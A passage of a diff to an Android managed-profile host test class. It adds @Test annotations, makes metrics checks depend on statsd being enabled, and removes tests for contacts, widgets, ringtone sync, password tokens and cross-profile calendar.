     public void testNoDebuggingFeaturesRestriction() throws Exception {
         if (!mHasFeature) {
             return;
@@ -758,6 +266,7 @@
     }
 
     // Test the bluetooth API from a managed profile.
+    @Test
     public void testBluetooth() throws Exception {
         boolean hasBluetooth = hasDeviceFeature(FEATURE_BLUETOOTH);
         if (!mHasFeature || !hasBluetooth) {
@@ -774,6 +283,7 @@
                 "testGetRemoteDevice", mProfileUserId);
     }
 
+    @Test
     public void testCameraPolicy() throws Exception {
         boolean hasCamera = hasDeviceFeature(FEATURE_CAMERA);
         if (!mHasFeature || !hasCamera) {
@@ -793,94 +303,7 @@
         }
     }
 
-
-    public void testManagedContactsUris() throws Exception {
-        runManagedContactsTest(new Callable<Void>() {
-            @Override
-            public Void call() throws Exception {
-                ContactsTestSet contactsTestSet = new ContactsTestSet(ManagedProfileTest.this,
-                        MANAGED_PROFILE_PKG, mParentUserId, mProfileUserId);
-
-                contactsTestSet.setCallerIdEnabled(true);
-                contactsTestSet.setContactsSearchEnabled(true);
-                contactsTestSet.checkIfCanLookupEnterpriseContacts(true);
-                contactsTestSet.checkIfCanFilterEnterpriseContacts(true);
-                contactsTestSet.checkIfCanFilterSelfContacts();
-                return null;
-            }
-        });
-    }
-
-    public void testManagedQuickContacts() throws Exception {
-        runManagedContactsTest(new Callable<Void>() {
-            @Override
-            public Void call() throws Exception {
-                runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                        "testQuickContact", mParentUserId);
-                return null;
-            }
-        });
-    }
-
-    public void testManagedContactsPolicies() throws Exception {
-        runManagedContactsTest(new Callable<Void>() {
-            @Override
-            public Void call() throws Exception {
-                ContactsTestSet contactsTestSet = new ContactsTestSet(ManagedProfileTest.this,
-                        MANAGED_PROFILE_PKG, mParentUserId, mProfileUserId);
-                try {
-                    contactsTestSet.setCallerIdEnabled(true);
-                    contactsTestSet.setContactsSearchEnabled(false);
-                    contactsTestSet.checkIfCanLookupEnterpriseContacts(true);
-                    contactsTestSet.checkIfCanFilterEnterpriseContacts(false);
-                    contactsTestSet.checkIfCanFilterSelfContacts();
-                    contactsTestSet.setCallerIdEnabled(false);
-                    contactsTestSet.setContactsSearchEnabled(true);
-                    contactsTestSet.checkIfCanLookupEnterpriseContacts(false);
-                    contactsTestSet.checkIfCanFilterEnterpriseContacts(true);
-                    contactsTestSet.checkIfCanFilterSelfContacts();
-                    contactsTestSet.setCallerIdEnabled(false);
-                    contactsTestSet.setContactsSearchEnabled(false);
-                    contactsTestSet.checkIfCanLookupEnterpriseContacts(false);
-                    contactsTestSet.checkIfCanFilterEnterpriseContacts(false);
-                    contactsTestSet.checkIfCanFilterSelfContacts();
-                    contactsTestSet.checkIfNoEnterpriseDirectoryFound();
-                    assertMetricsLogged(getDevice(), () -> {
-                        contactsTestSet.setCallerIdEnabled(true);
-                        contactsTestSet.setCallerIdEnabled(false);
-                    }, new DevicePolicyEventWrapper
-                                .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
-                                .setAdminPackageName(MANAGED_PROFILE_PKG)
-                                .setBoolean(false)
-                                .build(),
-                        new DevicePolicyEventWrapper
-                                .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
-                                .setAdminPackageName(MANAGED_PROFILE_PKG)
-                                .setBoolean(true)
-                                .build());
-                    assertMetricsLogged(getDevice(), () -> {
-                        contactsTestSet.setContactsSearchEnabled(true);
-                        contactsTestSet.setContactsSearchEnabled(false);
-                    }, new DevicePolicyEventWrapper
-                                .Builder(EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
-                                .setAdminPackageName(MANAGED_PROFILE_PKG)
-                                .setBoolean(false)
-                                .build(),
-                        new DevicePolicyEventWrapper
-                                .Builder(EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
-                                .setAdminPackageName(MANAGED_PROFILE_PKG)
-                                .setBoolean(true)
-                                .build());
-                    return null;
-                } finally {
-                    // reset policies
-                    contactsTestSet.setCallerIdEnabled(true);
-                    contactsTestSet.setContactsSearchEnabled(true);
-                }
-            }
-        });
-    }
-
+    @Test
     public void testOrganizationInfo() throws Exception {
         if (!mHasFeature) {
             return;
@@ -891,23 +314,18 @@
                 "testDefaultOrganizationNameIsNull", mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
                 mProfileUserId);
-        assertMetricsLogged(getDevice(), () -> {
-            runDeviceTestsAsUser(
-                    MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".OrganizationInfoTest",
-                    "testSetOrganizationColor", mProfileUserId);
-        }, new DevicePolicyEventWrapper.Builder(EventId.SET_ORGANIZATION_COLOR_VALUE)
-                .setAdminPackageName(MANAGED_PROFILE_PKG)
-                .build());
-    }
-
-    public void testPasswordMinimumRestrictions() throws Exception {
-        if (!mHasFeature) {
-            return;
+        if (isStatsdEnabled(getDevice())) {
+            assertMetricsLogged(getDevice(), () -> {
+                runDeviceTestsAsUser(
+                        MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".OrganizationInfoTest",
+                        "testSetOrganizationColor", mProfileUserId);
+            }, new DevicePolicyEventWrapper.Builder(EventId.SET_ORGANIZATION_COLOR_VALUE)
+                    .setAdminPackageName(MANAGED_PROFILE_PKG)
+                    .build());
         }
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PasswordMinimumRestrictionsTest",
-                mProfileUserId);
     }
 
+    @Test
     public void testDevicePolicyManagerParentSupport() throws Exception {
         if (!mHasFeature) {
             return;
@@ -916,6 +334,7 @@
                 MANAGED_PROFILE_PKG, ".DevicePolicyManagerParentSupportTest", mProfileUserId);
     }
 
+    @Test
     public void testBluetoothContactSharingDisabled() throws Exception {
         if (!mHasFeature) {
             return;
@@ -935,6 +354,7 @@
                     .build());
     }
 
+    @Test
     public void testCannotSetProfileOwnerAgain() throws Exception {
         if (!mHasFeature) {
             return;
@@ -950,6 +370,8 @@
                 /*expectFailure*/ true));
     }
 
+    @LargeTest
+    @Test
     public void testCannotSetDeviceOwnerWhenProfilePresent() throws Exception {
         if (!mHasFeature) {
             return;
@@ -966,6 +388,7 @@
         }
     }
 
+    @Test
     public void testNfcRestriction() throws Exception {
         if (!mHasFeature || !mHasNfcFeature) {
             return;
@@ -985,84 +408,7 @@
                 "testNfcShareEnabled", mParentUserId);
     }
 
-    public void testCrossProfileWidgets() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        try {
-            installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
-            getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
-                    + " --package " + WIDGET_PROVIDER_PKG);
-            setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
-            startWidgetHostService();
-
-            String commandOutput = changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
-                    "add-cross-profile-widget", mProfileUserId);
-            assertTrue("Command was expected to succeed " + commandOutput,
-                    commandOutput.contains("Status: ok"));
-
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileWidgetTest",
-                    "testCrossProfileWidgetProviderAdded", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
-                    ".CrossProfileWidgetPrimaryUserTest",
-                    "testHasCrossProfileWidgetProvider_true", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
-                    ".CrossProfileWidgetPrimaryUserTest",
-                    "testHostReceivesWidgetUpdates_true", mParentUserId);
-
-            commandOutput = changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
-                    "remove-cross-profile-widget", mProfileUserId);
-            assertTrue("Command was expected to succeed " + commandOutput,
-                    commandOutput.contains("Status: ok"));
-
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileWidgetTest",
-                    "testCrossProfileWidgetProviderRemoved", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
-                    ".CrossProfileWidgetPrimaryUserTest",
-                    "testHasCrossProfileWidgetProvider_false", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
-                    ".CrossProfileWidgetPrimaryUserTest",
-                    "testHostReceivesWidgetUpdates_false", mParentUserId);
-        } finally {
-            changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG, "remove-cross-profile-widget",
-                    mProfileUserId);
-            getDevice().uninstallPackage(WIDGET_PROVIDER_PKG);
-        }
-    }
-
-    public void testCrossProfileWidgetsLogged() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        try {
-            installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
-            getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
-                    + " --package " + WIDGET_PROVIDER_PKG);
-            setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
-            startWidgetHostService();
-
-            assertMetricsLogged(getDevice(), () -> {
-                changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
-                        "add-cross-profile-widget", mProfileUserId);
-                changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
-                        "remove-cross-profile-widget", mProfileUserId);
-            }, new DevicePolicyEventWrapper
-                        .Builder(EventId.ADD_CROSS_PROFILE_WIDGET_PROVIDER_VALUE)
-                        .setAdminPackageName(MANAGED_PROFILE_PKG)
-                        .build(),
-                new DevicePolicyEventWrapper
-                        .Builder(EventId.REMOVE_CROSS_PROFILE_WIDGET_PROVIDER_VALUE)
-                        .setAdminPackageName(MANAGED_PROFILE_PKG)
-                        .build());
-        } finally {
-            changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG, "remove-cross-profile-widget",
-                    mProfileUserId);
-            getDevice().uninstallPackage(WIDGET_PROVIDER_PKG);
-        }
-    }
-
+    @Test
     public void testIsProvisioningAllowed() throws DeviceNotAvailableException {
         if (!mHasFeature) {
             return;
@@ -1077,16 +423,7 @@
                 "testIsProvisioningAllowedTrue", mParentUserId);
     }
 
-    private void setDirectoryPrefix(String directoryName, int userId)
-            throws DeviceNotAvailableException {
-        String command = "content call --uri " + DIRECTORY_PRIVOIDER_URI
-                + " --user " + userId
-                + " --method " + SET_CUSTOM_DIRECTORY_PREFIX_METHOD
-                + " --arg " + directoryName;
-        CLog.d("Output for command " + command + ": "
-                + getDevice().executeShellCommand(command));
-    }
-
+    @Test
     public void testPhoneAccountVisibility() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1127,6 +464,8 @@
         }
     }
 
+    @LargeTest
+    @Test
     public void testManagedCall() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1177,52 +516,7 @@
                 mParentUserId);
     }
 
-    private void givePackageWriteSettingsPermission(int userId, String pkg) throws Exception {
-        // Allow app to write to settings (for RingtoneManager.setActualDefaultUri to work)
-        String command = "appops set --user " + userId + " " + pkg
-                + " android:write_settings allow";
-        CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
-    }
-
-    public void testRingtoneSync() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        givePackageWriteSettingsPermission(mProfileUserId, MANAGED_PROFILE_PKG);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
-                "testRingtoneSync", mProfileUserId);
-    }
-
-    // Test if setting RINGTONE disables sync
-    public void testRingtoneSyncAutoDisableRingtone() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        givePackageWriteSettingsPermission(mProfileUserId, MANAGED_PROFILE_PKG);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
-                "testRingtoneDisableSync", mProfileUserId);
-    }
-
-    // Test if setting NOTIFICATION disables sync
-    public void testRingtoneSyncAutoDisableNotification() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        givePackageWriteSettingsPermission(mProfileUserId, MANAGED_PROFILE_PKG);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
-                "testNotificationDisableSync", mProfileUserId);
-    }
-
-    // Test if setting ALARM disables sync
-    public void testRingtoneSyncAutoDisableAlarm() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        givePackageWriteSettingsPermission(mProfileUserId, MANAGED_PROFILE_PKG);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
-                "testAlarmDisableSync", mProfileUserId);
-    }
-
+    @Test
     public void testTrustAgentInfo() throws Exception {
         if (!mHasFeature || !mHasSecureLockScreen) {
             return;
@@ -1250,6 +544,7 @@
         }
     }
 
+    @Test
     public void testSanityCheck() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1259,6 +554,7 @@
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
     }
 
+    @Test
     public void testBluetoothSharingRestriction() throws Exception {
         final boolean hasBluetooth = hasDeviceFeature(FEATURE_BLUETOOTH);
         if (!mHasFeature || !hasBluetooth) {
@@ -1274,6 +570,7 @@
                 "testOppDisabledWhenRestrictionSet", mProfileUserId);
     }
 
+    @Test
     public void testProfileOwnerCanGetDeviceIdentifiers() throws Exception {
         // The Profile Owner should have access to all device identifiers.
         if (!mHasFeature) {
@@ -1284,6 +581,7 @@
                 "testProfileOwnerCanGetDeviceIdentifiersWithPermission", mProfileUserId);
     }
 
+    @Test
     public void testProfileOwnerCannotGetDeviceIdentifiersWithoutPermission() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1298,332 +596,9 @@
                 "testProfileOwnerCannotGetDeviceIdentifiersWithoutPermission", mProfileUserId);
     }
 
-    public void testResetPasswordWithTokenBeforeUnlock() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
-                "testSetupWorkProfile", mProfileUserId);
-        lockProfile();
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
-                "testResetPasswordBeforeUnlock", mProfileUserId);
-        // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
-        verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
-    }
-
-    public void testClearPasswordWithTokenBeforeUnlock() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
-                "testSetupWorkProfile", mProfileUserId);
-        lockProfile();
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
-                "testClearPasswordBeforeUnlock", mProfileUserId);
-        // Make sure profile has no password
-        verifyUserCredential("", mProfileUserId);
-    }
-
-    /**
-     * Test password reset token is still functional after the primary user clears and
-     * re-adds back its device lock. This is to detect a regression where the work profile
-     * undergoes an untrusted credential reset (causing synthetic password to change, invalidating
-     * existing password reset token) if it has unified work challenge and the primary user clears
-     * the device lock.
-     */
-    public void testResetPasswordTokenUsableAfterClearingLock() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
-        final String devicePassword = "1234";
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
-                "testSetResetPasswordToken", mProfileUserId);
-        try {
-            changeUserCredential(devicePassword, null, mParentUserId);
-            changeUserCredential(null, devicePassword, mParentUserId);
-            changeUserCredential(devicePassword, null, mParentUserId);
-            lockProfile();
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
-                    "testResetPasswordBeforeUnlock", mProfileUserId);
-            verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
-        } finally {
-            changeUserCredential(null, devicePassword, mParentUserId);
-            // Cycle the device screen to flush stale password information from keyguard,
-            // otherwise it will still ask for the non-existent password.
-            // return screen to be on for cts test runs
-            executeShellCommand("input keyevent KEYCODE_WAKEUP");
-            executeShellCommand("input keyevent KEYCODE_SLEEP");
-            executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        }
-    }
-
-    public void testIsUsingUnifiedPassword() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
-
-        // Freshly created profile has no separate challenge.
-        verifyUnifiedPassword(true);
-
-        // Set separate challenge and verify that the API reports it correctly.
-        changeUserCredential("1234" /* newCredential */, null /* oldCredential */, mProfileUserId);
-        verifyUnifiedPassword(false);
-    }
-
-    public void testUnlockWorkProfile_deviceWidePassword() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
-        String password = "0000";
-        try {
-            // Add a device password after the work profile has been created.
-            changeUserCredential(password, /* oldCredential= */ null, mPrimaryUserId);
-            // Lock the profile with key eviction.
-            lockProfile();
-            // Turn on work profile, by unlocking the profile with the device password.
-            verifyUserCredential(password, mPrimaryUserId);
-
-            // Verify profile user is running unlocked by running a sanity test on the work profile.
-            installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
-        } finally {
-            // Clean up
-            changeUserCredential(/* newCredential= */ null, password, mPrimaryUserId);
-        }
-    }
-
-    public void testRebootDevice_unifiedPassword() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
-        // Waiting before rebooting prevents flakiness.
-        waitForBroadcastIdle();
-        String password = "0000";
-        changeUserCredential(password, /* oldCredential= */ null, mPrimaryUserId);
-        try {
-            rebootAndWaitUntilReady();
-            verifyUserCredential(password, mPrimaryUserId);
-            installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
-        } finally {
-            changeUserCredential(/* newCredential= */ null, password, mPrimaryUserId);
-            // Work-around for http://b/113866275 - password prompt being erroneously shown at the
-            // end.
-            pressPowerButton();
-        }
-    }
-
-    public void testRebootDevice_separatePasswords() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
-        // Waiting before rebooting prevents flakiness.
-        waitForBroadcastIdle();
-        String profilePassword = "profile";
-        String primaryPassword = "primary";
-        int managedProfileUserId = getFirstManagedProfileUserId();
-        changeUserCredential(
-                profilePassword, /* oldCredential= */ null, managedProfileUserId);
-        changeUserCredential(primaryPassword, /* oldCredential= */ null, mPrimaryUserId);
-        try {
-            rebootAndWaitUntilReady();
-            verifyUserCredential(profilePassword, managedProfileUserId);
-            verifyUserCredential(primaryPassword, mPrimaryUserId);
-            installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
-        } finally {
-            changeUserCredential(
-                    /* newCredential= */ null, profilePassword, managedProfileUserId);
-            changeUserCredential(/* newCredential= */ null, primaryPassword, mPrimaryUserId);
-            // Work-around for http://b/113866275 - password prompt being erroneously shown at the
-            // end.
-            pressPowerButton();
-        }
-    }
-
-    public void testCrossProfileCalendarPackage() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        assertMetricsLogged(getDevice(), () -> {
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testCrossProfileCalendarPackage", mProfileUserId);
-        }, new DevicePolicyEventWrapper.Builder(EventId.SET_CROSS_PROFILE_CALENDAR_PACKAGES_VALUE)
-                    .setAdminPackageName(MANAGED_PROFILE_PKG)
-                    .setStrings(MANAGED_PROFILE_PKG)
-                    .build());
-    }
-
-    public void testCrossProfileCalendar() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        runCrossProfileCalendarTestsWhenWhitelistedAndEnabled();
-        runCrossProfileCalendarTestsWhenAllPackagesWhitelisted();
-        runCrossProfileCalendarTestsWhenDisabled();
-        runCrossProfileCalendarTestsWhenNotWhitelisted();
-    }
-
-    private void runCrossProfileCalendarTestsWhenWhitelistedAndEnabled() throws Exception {
-        try {
-            // Setup. Add the test package into cross-profile calendar whitelist, enable
-            // cross-profile calendar in settings, and insert test data into calendar provider.
-            // All setups should be done in managed profile.
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testWhitelistManagedProfilePackage", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testAddTestCalendarDataForWorkProfile", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testEnableCrossProfileCalendarSettings", mProfileUserId);
-
-            // Testing.
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_getCorrectWorkCalendarsWhenEnabled", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_getCorrectWorkEventsWhenEnabled", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_getCorrectWorkInstancesWhenEnabled", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_getCorrectWorkInstancesByDayWhenEnabled", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_canAccessWorkInstancesSearch1", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_canAccessWorkInstancesSearch2", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_canAccessWorkInstancesSearchByDay", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_getExceptionWhenQueryNonWhitelistedColumns", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testViewEventCrossProfile_intentReceivedWhenWhitelisted", mParentUserId);
-        } finally {
-            // Cleanup.
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testCleanupWhitelist", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testDisableCrossProfileCalendarSettings", mProfileUserId);
-        }
-    }
-
-    private void runCrossProfileCalendarTestsWhenAllPackagesWhitelisted() throws Exception {
-        try {
-            // Setup. Allow all packages to access cross-profile calendar APIs by setting
-            // the whitelist to null, enable cross-profile calendar in settings,
-            // and insert test data into calendar provider.
-            // All setups should be done in managed profile.
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testWhitelistAllPackages", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testAddTestCalendarDataForWorkProfile", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testEnableCrossProfileCalendarSettings", mProfileUserId);
-
-            // Testing.
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_getCorrectWorkCalendarsWhenEnabled", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_getCorrectWorkEventsWhenEnabled", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_getCorrectWorkInstancesWhenEnabled", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_getCorrectWorkInstancesByDayWhenEnabled", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_canAccessWorkInstancesSearch1", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_canAccessWorkInstancesSearch2", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_canAccessWorkInstancesSearchByDay", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_getExceptionWhenQueryNonWhitelistedColumns", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testViewEventCrossProfile_intentReceivedWhenWhitelisted", mParentUserId);
-        } finally {
-            // Cleanup.
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testCleanupWhitelist", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testDisableCrossProfileCalendarSettings", mProfileUserId);
-        }
-    }
-
-    private void runCrossProfileCalendarTestsWhenDisabled() throws Exception {
-        try {
-            // Setup. Add the test package into cross-profile calendar whitelist,
-            // and insert test data into calendar provider. But disable cross-profile calendar
-            // in settings. Thus cross-profile calendar Uris should not be accessible.
-            // All setups should be done in managed profile.
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testWhitelistManagedProfilePackage", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testAddTestCalendarDataForWorkProfile", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testDisableCrossProfileCalendarSettings", mProfileUserId);
-
-            // Testing.
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_cannotAccessWorkCalendarsWhenDisabled", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_cannotAccessWorkEventsWhenDisabled", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_cannotAccessWorkInstancesWhenDisabled", mParentUserId);
-        } finally {
-            // Cleanup.
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testCleanupWhitelist", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
-        }
-    }
-
-    private void runCrossProfileCalendarTestsWhenNotWhitelisted() throws Exception {
-        try {
-            // Setup. Enable cross-profile calendar in settings and insert test data into calendar
-            // provider. But make sure that the test package is not whitelisted for cross-profile
-            // calendar. Thus cross-profile calendar Uris should not be accessible.
-            // All setups should be done in managed profile.
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testAddTestCalendarDataForWorkProfile", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testEnableCrossProfileCalendarSettings", mProfileUserId);
-
-            // Testing.
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_cannotAccessWorkCalendarsWhenDisabled", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_cannotAccessWorkEventsWhenDisabled", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testPrimaryProfile_cannotAccessWorkInstancesWhenDisabled", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testViewEventCrossProfile_intentFailedWhenNotWhitelisted", mParentUserId);
-        } finally {
-            // Cleanup.
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
-                    "testDisableCrossProfileCalendarSettings", mProfileUserId);
-        }
-    }
-
-    public void testCreateSeparateChallengeChangedLogged() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
-        assertMetricsLogged(getDevice(), () -> {
-            changeUserCredential(
-                    "1234" /* newCredential */, null /* oldCredential */, mProfileUserId);
-        }, new DevicePolicyEventWrapper.Builder(EventId.SEPARATE_PROFILE_CHALLENGE_CHANGED_VALUE)
-                .setBoolean(true)
-                .build());
-    }
-
+    @Test
     public void testSetProfileNameLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -1635,23 +610,6 @@
                 .build());
     }
 
